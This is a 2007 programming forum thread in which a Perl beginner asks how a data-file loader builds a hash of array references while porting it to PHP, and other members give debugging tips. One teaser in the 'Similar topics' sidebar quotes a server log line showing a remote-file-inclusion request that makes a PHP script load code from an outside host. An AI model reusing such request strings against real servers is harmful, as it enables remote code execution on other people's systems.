473,735 Members | 7,637 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

Perl noob tries to translate a scipt to PHP - need some help

2 New Member
Hello, I have found a perl script and need to "translate" this to PHP. I try to do it step by step and the first part of it is this function (the whole script is found at http://nonsense.source forge.net/):

Expand|Select|Wrap|Line Numbers
  1. ### Load and parse a datafile, slurping the contents into the %pool hash
  2. sub LoadDataFile { 
  3.    my $file = shift;
  4.    $file = SafeFile( $file ) if $cgi_mode;
  5.    open IN, $file or die "Error opening $file... $!\n";
  6.    local $/ = '';
  7.  
  8.    SECTION: while( <IN> ) { 
  9.       my( @temp ) = split /\n/, $_;
  10.       my $key = shift @temp;
  11.       $pool{$key} = [ @temp ];
  12.    }
  13.    close IN;
  14. }
$_ seems to hold the actual lines one after another during the while loop.

Expand|Select|Wrap|Line Numbers
  1. my( @temp ) = split /\n/, $_;
Why is $_ splitted by \n here? $_ should only contain one line from the input file already, right?

Expand|Select|Wrap|Line Numbers
  1. my $key = shift @temp;
Okay, $key is now the current element of the @temp array. But since @temp should only contain the current line from the input file, $key should be equal to the current line from the input file. (?!)

Expand|Select|Wrap|Line Numbers
  1. $pool{$key} = [ @temp ];
This one I don't understand at all. Which value is given the elemt of $pool with the key $key here? What does an array like @temp in [] mean? I thought [] normally contains the key for an element of an array like $pool[$key]...

What would helpme is a way to look at the contents of $pool after the while loop is done, but I don't know how to do that in perl. print $pool; doesn't work.

While this function works fine in the whole scipt, I tried to put it in a separate file to examine how it works. So my whole file would be

Expand|Select|Wrap|Line Numbers
  1. #!/usr/bin/perl
  2.  
  3. use strict;
  4. use CGI;
  5. my $q = new CGI;
  6. open(INFILE,  "test.data")   or die "Can't open input.txt: $!";
  7.  
  8. # print header and start the markup output
  9.  
  10. print $q->header( "text/html" ),$q->start_html( "hello from perl cgi!" );
  11.  
  12. while (<INFILE>) {     # assigns each line in turn to $_ 
  13.     print $q->p("Just read in this line: $_");
  14.     my( @temp ) = split /\n/, $_;
  15.     print $q->strong("temp = @temp<br />");
  16.     my $key = shift @temp;
  17.     print $q->strong("key = $key<br />");
  18.     #$pool{$key} = [ @temp ];
  19. }
  20. print $q->end_html;
But as soon as I uncomment the line with $pool, I get an Internal Server Error. Why is this not working in a standalone script?

I hope anybody roughly understands what I mean and what I'd like to know. I know my english is bad and so it's very hard to write about a script language that I don't understand either ;-)
Oct 24 '07 #1
6 1986
eWish
971 Recognized Expert Contributor
Welcome to TSDN!

Add the following lines to your script.
Expand|Select|Wrap|Line Numbers
  1. use warnings;
  2. use CGI::Carp qw/fatalsToBrowser/; #For Debugging Only
One error you will get is caused by the fact that you have not delcared the hash $pool{$key} you are trying to use.
Expand|Select|Wrap|Line Numbers
  1. my %pool;
This page is a great resource when you get error like this. Helpful in tracking down some of the standard problems.
Oct 24 '07 #2
numberwhun
3,509 Recognized Expert Moderator Specialist
Welcome to TSDN!

Add the following lines to your script.
Expand|Select|Wrap|Line Numbers
  1. use warnings;
  2. use CGI::Carp qw/fatalsToBrowser/; #For Debugging Only
One error you will get is caused by the fact that you have not delcared the hash $pool{$key} you are trying to use.
Expand|Select|Wrap|Line Numbers
  1. my %pool;
This page is a great resource when you get error like this. Helpful in tracking down some of the standard problems.
He he he, isn't PHP right up your alley?

Regards,

Jeff
Oct 24 '07 #3
eWish
971 Recognized Expert Contributor
He he he, isn't PHP right up your alley?

Regards,

Jeff
Yes...that is why I handle all of the PHP related questions.
Oct 24 '07 #4
Paulchen
2 New Member
Thank you, that helped.

In php I can output the elements of an array with the print_r function. Is there an equivalent in perl to do this? I'd like to output the elements of $pool{$key}, but if I use print I only get something like that:

@pool{$key} = ARRAY(0x822dae4 )

What part of the @temp arry is
Expand|Select|Wrap|Line Numbers
  1. $pool{$key} = [ @temp ];
assigning to $pool{$key}? I wonder what an array in these braces [ ] mean...
Oct 25 '07 #5
eWish
971 Recognized Expert Contributor
Expand|Select|Wrap|Line Numbers
  1. my @array = (qw(Hello Every One));
  2. print @array; # print entire array
  3. print $array[0]; #print the first element of the array
  4.  
  5.  
  6. $pool{$key} # is a hash element.
Oct 25 '07 #6
numberwhun
3,509 Recognized Expert Moderator Specialist
Thank you, that helped.

In php I can output the elements of an array with the print_r function. Is there an equivalent in perl to do this? I'd like to output the elements of $pool{$key}, but if I use print I only get something like that:

@pool{$key} = ARRAY(0x822dae4 )

What part of the @temp arry is
Expand|Select|Wrap|Line Numbers
  1. $pool{$key} = [ @temp ];
assigning to $pool{$key}? I wonder what an array in these braces [ ] mean...
When accessing an array in Perl, the array is called @array, but when accessing a specific element, it is accessed like "$array[0]", where the element number, starting at zero, is in square brackets.

The curly braces { and } are used when accessing hashes, not arrays

I suggest you find a good book that will show you the basics and go from there.

Regards,

Jeff
Oct 25 '07 #7

Sign in to post your reply or Sign up for a free account.

Similar topics

4
2527
by: Piotr Turkowski | last post by:
Hi! I've got some code in Perl and I have to have it in C, but my knowlege of Perl is < 0 :-(, so I need your help. here's the code. Thanks in advance. decrypt.pl #!/usr/local/bin/perl $keyword=$ARGV ; @key=split(//,$keyword) ; $period=length($keyword) ;
1
668
by: sm00thcrimnl13 | last post by:
if i have windows 2000 and know how to write perl scripts, how to i actuvate the script through perl?
3
15281
by: FLOTServer | last post by:
Here's my problem: I run a gameserver that runs the game "Medal of Honor". On the game server is log file which contains all of the data from the players for that day (kills, deaths, etc...). I have a perl script that runs on my webserver, which is supposed to login to the gameserver and download the log. The problem is that when it gets to the part where it needs to download the file, it aborts. The gameserver FTP requires I use port 24...
9
4519
by: Dieter Vanderelst | last post by:
Dear all, I'm currently comparing Python versus Perl to use in a project that involved a lot of text processing. I'm trying to determine what the most efficient language would be for our purposes. I have to admit that, although I'm very familiar with Python, I'm complete Perl noob (and I hope to stay one) which is reflected in my questions. I know that the web offers a lot of resources on Python/Perl differences. But I couldn't find a...
3
4135
by: sir.linying | last post by:
My php script is to call perl scipt which makes use of Spreadsheet::ParseExcel module to parse Excel file. I am able to launch php script from command line so that perl script can run and properly parse Excel file. However, when I put php script on server side and then launch php through client request, perl program can't run. Anyone has any suggestion re how to fix this problem? Thanks a lot, -Ying
0
5240
by: gedsta | last post by:
Hi all I am a total noob and its my 2nd post, first of all thank you for letting me use these forums as a source of information, and hopefully once i get my head round perl i maybe able to help other noobs as well. Ok, my problem is: Windows Server 2003 Plesk for Windows 7.5.6 X-Cart Software (ecommerce solution)
4
10626
by: Ignoramus6539 | last post by:
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
1
2734
by: Ken Browning | last post by:
I have been working with Perl for a while now, but have not used it with XML - I am an XML noob. I want to be able to read an XML schema file and initialize an instance of the data item specified in the XML schema file. I then would like to initialize the various "fields" that make up theoverall item. Once I have all my data in order I will use "Post" functionality (that part works already for me!) to send the item on its way. Any...
2
7311
saranjegan
by: saranjegan | last post by:
Hello, Am in need to access a serial port from perl script, pastly am used C related CGI scripts am just shifted to perl , i need to know about its support with serial port so i can continue with perl
0
8785
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
9463
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
1
9251
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
9200
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
0
8201
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
0
4559
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
0
4822
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
2
2739
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.
3
2188
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.